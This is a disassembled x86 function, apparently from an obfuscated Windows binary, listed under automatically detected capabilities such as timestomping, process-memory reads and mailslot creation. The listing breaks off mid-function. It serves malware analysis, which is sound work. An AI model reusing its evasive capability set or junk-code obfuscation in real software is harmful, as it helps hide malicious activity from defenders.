Function at 0x419d90
Capabilities:
Check os version
Clear file content
Copy file
Create directory
Create mailslot
Create pipe
Enumerate process modules
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get file size
Get geographical location
Identify system language via api
Move file
Query environment variable
Read .ini file
Read file on windows
Read from mailslot
Read pipe
Read process memory
Set current directory
Set environment variable
Set file attributes
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8fc
push ebx
push esi
push edi
mov dword [ebp - 0x10c], 0
movzx ax, byte [0x55c8eb]
mov word [ebp - 0xac], ax
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xbc], 0x6d5eb
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx ecx, ax
add esi, ecx
movzx edx, word [ebp - 0xac]
sub esi, edx
call fcn.00406b30
movzx eax, ax
add esi, eax
mov ecx, dword [ebp - 0x10c]
add ecx, 0x2f7da
and esi, ecx
and esi, 0x47daa
or esi, 0x2888
mov word [ebp - 0xac], si
mov dword [ebp - 0x10c], 0
push 0
push 0
call sub.KERNEL32.dll_Module32First
mov ebx, eax
add ebx, 0x1c661
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, word [ebp - 0x144]
push edx
call fcn.00405fd0
movzx eax, ax
or ebx, eax
mov byte [ebp - 0x81], bl
xor ecx, ecx
jne 0x419eac
cmp dword [ebp - 0x10c], 0
jne 0x419ef2
cmp dword [ebp - 0x70], 0x593a4
jne 0x419ef2
cmp dword [ebp - 0x6c], 0
jne 0x419ef2
xor edx, edx
je 0x419ef2
mov eax, dword [ebp - 0x10c]
and eax, 0x6312
xor ecx, ecx
and eax, dword [ebp - 0x70]
and ecx, dword [ebp - 0x6c]
and eax, 0x6a6ac
and ecx, 0
mov edx, dword [ebp - 0x10c]
xor esi, esi
and eax, edx
and ecx, esi
mov edx, dword [ebp - 0x10c]
sub edx, 0x59087
xor esi, esi
and eax, edx
and ecx, esi
and eax, 0xfff96792
mov dword [ebp - 0x144], eax
jmp 0x419f64
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileTime]
movzx ecx, word [ebp - 0xac]
and eax, ecx
or eax, 0x4c264
mov esi, eax
xor edi, edi
or esi, dword [ebp - 0x70]
or edi, dword [ebp - 0x6c]
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.004184e0
xor ecx, ecx
or esi, eax
or edi, ecx
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov edx, dword [ebp - 0x10c]
lea eax, [eax + edx - 0x8be0]
mov dword [ebp - 0x144], eax
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
cmp eax, 0x6f5d8
jne 0x419fa0
mov dword [ebp - 0x144], 0x4e20a
jmp 0x419fde
mov esi, dword [ebp - 0x70]
sub esi, 0x3e1c5
mov edi, dword [ebp - 0x6c]
sbb edi, 0
and esi, 0xfffcd71e
movzx eax, word [ebp - 0xac]
add eax, 0x71bbc
cdq
or esi, eax
or edi, edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor ecx, ecx
or esi, eax
or edi, ecx
mov dword [ebp - 0x144], esi
mov esi, dword [ebp - 0x10c]
xor edi, edi
mov ebx, dword [ebp - 0x10c]
xor eax, eax
movzx edx, word [ebp - 0xac]
push edx
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov dword [ebp - 0x14c], eax
call fcn.00418dc0
and ebx, eax
mov eax, dword [ebp - 0x14c]
and eax, edx
movzx ecx, word [ebp - 0xac]
movzx edx, word [ebp - 0xac]
sub ecx, edx
add ecx, 0x99ad8
mov dword [ebp - 0x150], eax
mov eax, ecx
cdq
and ebx, eax
mov eax, dword [ebp - 0x150]
and eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
mov esi, dword [ebp - 0x10c]
and esi, dword [ebp - 0x10c]
movzx edi, word [ebp - 0xac]
movzx eax, byte [ebp - 0x81]
cdq
mov ebx, eax
mov eax, edx
movzx ecx, word [ebp - 0x144]
push ecx
mov dword [ebp - 0x154], eax
call fcn.004057a0
add ebx, eax
mov eax, dword [ebp - 0x154]
adc eax, edx
sub ebx, 0x7ecbf
sbb eax, 0
movzx edx, word [ebp - 0xac]
mov dword [ebp - 0x158], eax
mov eax, edx
cdq
add ebx, eax
mov eax, dword [ebp - 0x158]
adc eax, edx
mov ecx, ebx
shl edi, cl
and esi, edi
and esi, 0x168c4
and esi, 0x69ee9
mov eax, dword [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00403750
movzx ecx, al
mov edx, 0x4e41
sub edx, ecx
and esi, edx
xor edi, edi
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx dx, byte [ebp - 0x81]
movzx eax, dx
push eax
call section..text
mov ecx, dword [ebp - 0x10c]
xor ebx, ebx
sub eax, ecx
sbb edx, ebx
and esi, eax
and edi, edx
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00405f00
movzx esi, al
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
cmp esi, eax
jne 0x41a232
xor ecx, ecx
jne 0x41a232
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.0043dd10
movzx eax, ax
cmp eax, dword [ebp - 0x10c]
je 0x41a254
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x81]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00405340
cmp dword [ebp - 0x10c], eax
jne 0x41a254
mov ecx, dword [ebp - 0x10c]
xor edx, edx
mov dword [ebp - 0x160], ecx
mov dword [ebp - 0x15c], edx
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0x70]
jne 0x41a254
mov ecx, dword [ebp - 0x15c]
cmp ecx, dword [ebp - 0x6c]
jne 0x41a254
mov edx, 0x618c3
sub edx, dword [ebp - 0x10c]
movzx eax, word [ebp - 0xac]
add edx, eax
sub edx, dword [ebp - 0x10c]
mov dword [ebp - 0x144], edx
jmp 0x41a2c3
movzx esi, word [ebp - 0xac]
mov edi, dword [ebp - 0x10c]
sub edi, 0x55ed4
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x70]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
call fcn.00405340
sub edi, eax
and esi, edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
or esi, eax
movzx edx, word [ebp - 0xac]
or esi, edx
mov dword [ebp - 0x144], esi
mov esi, dword [ebp - 0x10c]
sub esi, 0x13fe06
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
sub esi, eax
and esi, 0x5a751
push 0
push 0
push 0
call sub.KERNEL32.dll_SetConsoleDisplayMode
mov edi, 0x6c2ec
sub edi, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
lea eax, [edi + eax - 0x4077a]
movzx ecx, byte [ebp - 0x81]
mov edx, 0x232dd
sub edx, ecx
mov ecx, edx
shr eax, cl
and esi, eax
mov dword [ebp - 0x144], esi
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.004192c0
movzx ebx, al
sub ebx, 0x19012
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.00415920
movzx ecx, byte [ebp - 0x81]
sub eax, ecx
or ebx, eax
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
movzx edx, byte [ebp - 0x81]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.00405fd0
movzx edx, ax
or ebx, edx
or ebx, 0x277ff
mov byte [ebp - 0x81], bl
movzx eax, word [ebp - 0xac]
add eax, dword [ebp - 0x10c]
or eax, 0x2090e
mov ecx, eax
xor esi, esi
movzx eax, word [ebp - 0xac]
cdq
mov edi, eax
mov ebx, edx
add edi, dword [ebp - 0x70]
adc ebx, dword [ebp - 0x6c]
movzx eax, byte [ebp - 0x81]
cdq
add edi, eax
adc ebx, edx
and edi, 0xfffd575e
or ecx, edi
or esi, ebx
mov edx, dword [ebp - 0x10c]
sub edx, 0x2d1b1
xor eax, eax
or ecx, edx
or esi, eax
mov word [ebp - 0xac], cx
xor ecx, ecx
jne 0x41a487
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
call fcn.00418dc0
mov esi, eax
mov edi, edx
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
movzx eax, ax
cdq
mov dword [ebp - 0x168], esi
mov dword [ebp - 0x164], edi
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], edx
mov edx, dword [ebp - 0x168]
cmp edx, dword [ebp - 0x170]
jne 0x41a4e7
mov eax, dword [ebp - 0x164]
cmp eax, dword [ebp - 0x16c]
jne 0x41a4e7
xor ecx, ecx
je 0x41a4e7
mov ebx, dword [ebp - 0x10c]
sub ebx, dword [ebp - 0x10c]
mov esi, dword [ebp - 0x10c]
add esi, 0x18e68
and esi, 0x74324
movzx edi, byte [ebp - 0x81]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
sub edi, eax
sub edi, dword [ebp - 0x10c]
add edi, 0x1c3d1
and esi, edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
sub eax, 0x517cb
and esi, eax
or ebx, esi
mov byte [ebp - 0x81], bl
jmp 0x41a4f9
mov edx, dword [ebp - 0x10c]
add edx, 0x10bb3
mov dword [ebp - 0x144], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 0x10c]
lea esi, [eax + ecx + 0x18fd6]
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x70]
push eax
call fcn.00405f00
movzx ecx, al
sub esi, ecx
sub esi, 0x29fa5
or esi, 0xfffeb84f
xor edx, edx
mov eax, dword [ebp - 0x70]
sub eax, 0x18d03
mov ecx, dword [ebp - 0x6c]
sbb ecx, 0
or esi, eax
or edx, ecx
or esi, 0x572ec
mov dword [ebp - 0x144], esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov edx, 0x5ab0b
sub edx, eax
sub edx, 0x8e7fd
mov dword [ebp - 0x144], edx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x99
je 0x41a5be
cmp dword [ebp - 0x174], 0xb5
je 0x41a619
cmp dword [ebp - 0x174], 0xdc
je 0x41a5cf
jmp 0x41a67e
mov ecx, 0x3b42
mov word [ebp - 0xac], cx
jmp 0x41a6ef
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
add eax, dword [ebp - 0x10c]
xor edx, edx
mov ecx, dword [ebp - 0x70]
add ecx, 0x498ed
mov esi, dword [ebp - 0x6c]
adc esi, 0
mov edi, dword [ebp - 0x10c]
xor ebx, ebx
add ecx, edi
adc esi, ebx
and ecx, 0x182927
and esi, 0
or eax, ecx
or edx, esi
mov word [ebp - 0xac], ax
jmp 0x41a6ef
movzx edx, word [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x88]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x88]
push edx
movzx eax, word [ebp - 0x70]
push eax
call fcn.0043d960
movzx ecx, word [ebp - 0xac]
mov esi, dword [ebp - 0x10c]
lea ecx, [esi + ecx - 0xf8ad]
xor esi, esi
and eax, ecx
and edx, esi
and eax, 0x2d565
and edx, 0
mov ecx, dword [ebp - 0x70]
add ecx, 0xbcd5
mov esi, dword [ebp - 0x6c]
adc esi, 0
and eax, ecx
and edx, esi
mov byte [ebp - 0x81], al
jmp 0x41a6ef
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
mov esi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
sub eax, 0x29770
and eax, 0x7dbb
or esi, eax
mov edx, dword [ebp - 0x10c]
add edx, 0x50b42
movzx eax, word [ebp - 0xac]
sub edx, eax
or esi, edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BindIoCompletionCallback]
or esi, eax
mov ecx, 0x1f9da
sub ecx, dword [ebp - 0x10c]
or esi, ecx
movzx edx, word [ebp - 0xac]
or esi, edx
or esi, 0x1ed46
mov dword [ebp - 0x144], esi
mov esi, 0x1b8de
sub esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
add esi, 0x268d8
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
movzx ecx, byte [ebp - 0x81]
add ecx, eax
shl esi, cl
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
mov edx, dword [ebp - 0x10c]
lea edi, [edx + eax + 0x7df59]
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.004050c0
movzx ecx, ax
sub edi, ecx
sub edi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
sub edi, eax
or esi, edi
or esi, dword [ebp - 0x10c]
mov word [ebp - 0xac], si
movzx edx, byte [ebp - 0x81]
cmp edx, dword [ebp - 0x10c]
je 0x41a7c2
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0x10c]
jne 0x41a7c2
xor ecx, ecx
je 0x41a843
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ebx, eax
sub ebx, 0x19bb6
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00403580
movzx esi, ax
movzx edx, byte [ebp - 0x70]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.00405ae0
movzx eax, ax
add eax, dword [ebp - 0x10c]
and esi, eax
or ebx, esi
or ebx, 0x48d53
mov byte [ebp - 0x81], bl
jmp 0x41a855
mov ecx, dword [ebp - 0x10c]
or ecx, 0x8f378
mov dword [ebp - 0x144], ecx
cmp dword [ebp - 0x10c], 0x75784
jne 0x41a889
cmp dword [ebp - 0x10c], 0x6ad02
jne 0x41a8ce
cmp dword [ebp - 0x10c], 0x8837
jne 0x41a8ce
cmp dword [ebp - 0x10c], 0x4920d
jne 0x41a8ce
xor edx, edx
je 0x41a8ce
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x70]
push eax
call fcn.00414c40
movzx eax, al
add eax, 0x12a259
cdq
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
jmp 0x41a93e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov esi, eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
add esi, eax
movzx ecx, word [ebp - 0xac]
sub esi, ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov edi, 0x701b1
sub edi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
lea edx, [edi + eax - 0x2af68]
movzx eax, byte [ebp - 0x81]
add edx, eax
mov ecx, dword [ebp - 0x10c]
add ecx, 0x38748
shl edx, cl
and esi, edx
mov dword [ebp - 0x144], esi
cmp dword [ebp - 0x10c], 0x284b7
jne 0x41a973
movzx esi, word [ebp - 0xac]
push 0
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
sub esi, eax
add esi, 0x6b8b9
movzx ecx, word [ebp - 0xac]
sub esi, ecx
mov word [ebp - 0xac], si
jmp 0x41a993
mov esi, dword [ebp - 0x10c]
add esi, dword [ebp - 0x10c]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
add esi, eax
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, 0x5c658
sub esi, eax
and esi, 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov edi, eax
add edi, 0x3dd1
movzx edx, word [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.004184e0
sub edi, eax
or esi, edi
mov dword [ebp - 0x144], esi
push 0
push 0
call sub.KERNEL32.dll_Module32First
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx + 0x3f6de]
add edx, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
lea ecx, [edx + eax - 0x4659b]
mov esi, ecx
xor edi, edi
movzx edx, byte [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.004052d0
add esi, eax
adc edi, edx
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
add esi, eax
adc edi, ecx
add esi, 0x4767
adc edi, 0
mov edx, dword [ebp - 0x10c]
xor eax, eax
sub esi, edx
sbb edi, eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
xor ecx, ecx
add esi, eax
adc edi, ecx
add esi, 0x7998d
adc edi, 0
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
movzx esi, word [ebp - 0xac]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
lea esi, [esi + eax - 0x3a09e]
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00406530
movzx eax, al
add eax, dword [ebp - 0x10c]
movzx ecx, byte [ebp - 0x81]
sub eax, ecx
sub eax, 0xa0c23
and esi, eax
xor edx, edx
and esi, dword [ebp - 0x70]
and edx, dword [ebp - 0x6c]
mov dword [ebp - 0x144], esi
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0xac]
push edx
call fcn.00415020
mov ecx, dword [ebp - 0x10c]
xor esi, esi
sub eax, ecx
sbb edx, esi
and eax, 0x45c4a
and edx, 0
mov dword [ebp - 0x144], eax
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.00414c40
movzx esi, al
add esi, 0x23823
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
sub esi, eax
add esi, 0x3a69f
xor edi, edi
sub esi, dword [ebp - 0x70]
sbb edi, dword [ebp - 0x6c]
add esi, 0x1a3da
adc edi, 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
xor edx, edx
sub esi, eax
sbb edi, edx
movzx eax, word [ebp - 0xac]
mov ecx, dword [ebp - 0x10c]
lea ebx, [eax + ecx - 0x715c5]
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
call fcn.004040a0
sub ebx, eax
and ebx, dword [ebp - 0x10c]
xor edx, edx
or esi, ebx
or edi, edx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
mov eax, 0x5b0f2
sub eax, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x10c]
sub eax, 0x74515
sub eax, dword [ebp - 0x10c]
add eax, 0x29fc4
sub eax, dword [ebp - 0x10c]
sub eax, 0x4571f
mov esi, eax
xor edi, edi
movzx ecx, word [ebp - 0x70]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call section..text
sub esi, eax
sbb edi, edx
sub esi, 0x507a4
sbb edi, 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
xor ecx, ecx
sub esi, eax
sbb edi, ecx
and esi, 0x12c5
and edi, 0
mov dword [ebp - 0x144], esi
mov dword [ebp - 0x144], 0x895c3
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
mov ebx, eax
add ebx, 0x686a3
or ebx, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
or ebx, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, eax
add esi, dword [ebp - 0x10c]
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.004034a0
movzx eax, ax
sub esi, eax
or ebx, esi
mov byte [ebp - 0x81], bl
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov esi, eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00406370
mov edi, eax
mov ebx, edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor edx, edx
add edi, eax
adc ebx, edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
xor ecx, ecx
sub edi, eax
sbb ebx, ecx
sub edi, 0x590f3
sbb ebx, 0
mov edx, dword [ebp - 0x10c]
xor eax, eax
add edi, edx
adc ebx, eax
sub edi, dword [ebp - 0x70]
sbb ebx, dword [ebp - 0x6c]
sub edi, 0xc11f
sbb ebx, 0
mov edx, 0x174ef
mov ecx, edi
sar edx, cl
and esi, edx
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov esi, eax
sub esi, 0x1ea9f
sub esi, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx cx, byte [ebp - 0x81]
movzx edx, cx
push edx
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.00405fd0
movzx eax, ax
lea ecx, [esi + eax + 0x46c74]
mov dword [ebp - 0x144], ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.0043dd10
movzx eax, ax
cdq
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x178], edx
mov eax, dword [ebp - 0x17c]
cmp eax, dword [ebp - 0x70]
jne 0x41ae56
mov ecx, dword [ebp - 0x178]
cmp ecx, dword [ebp - 0x6c]
je 0x41ae74
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
cmp dword [ebp - 0x10c], eax
jne 0x41aef9
movzx edx, word [ebp - 0xac]
mov esi, 0x160e7
sub esi, edx
movzx edi, word [ebp - 0xac]
sub edi, 0x58152
sub edi, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
call fcn.00415540
mov ecx, eax
shr edi, cl
and esi, edi
mov edi, dword [ebp - 0x10c]
sub edi, 0x622b8
movzx edx, word [ebp - 0xac]
sub edi, edx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
add edi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
lea eax, [edi + eax - 0x8781]
or esi, eax
mov dword [ebp - 0x144], esi
jmp 0x41af7b
movzx esi, word [ebp - 0xac]
sub esi, 0x1277d
sub esi, dword [ebp - 0x10c]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
movzx ecx, ax
add esi, ecx
movzx edx, byte [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0xac]
push edx
call fcn.00414c40
movzx eax, al
sub esi, eax
movzx ecx, byte [ebp - 0xac]
push ecx
call fcn.00407ab0
movzx edx, al
sub esi, edx
and esi, dword [ebp - 0x10c]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
and esi, eax
mov dword [ebp - 0x144], esi
cmp dword [ebp - 0x10c], 0
jne 0x41af8c
xor eax, eax
je 0x41b048
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov ecx, dword [ebp - 0x10c]
lea esi, [eax + ecx - 0x39fd3]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
sub esi, eax
movzx edi, word [ebp - 0xac]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
add edi, eax
or esi, edi
or esi, 0x20c27
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.00415a00
movzx edi, al
add edi, 0x3e754
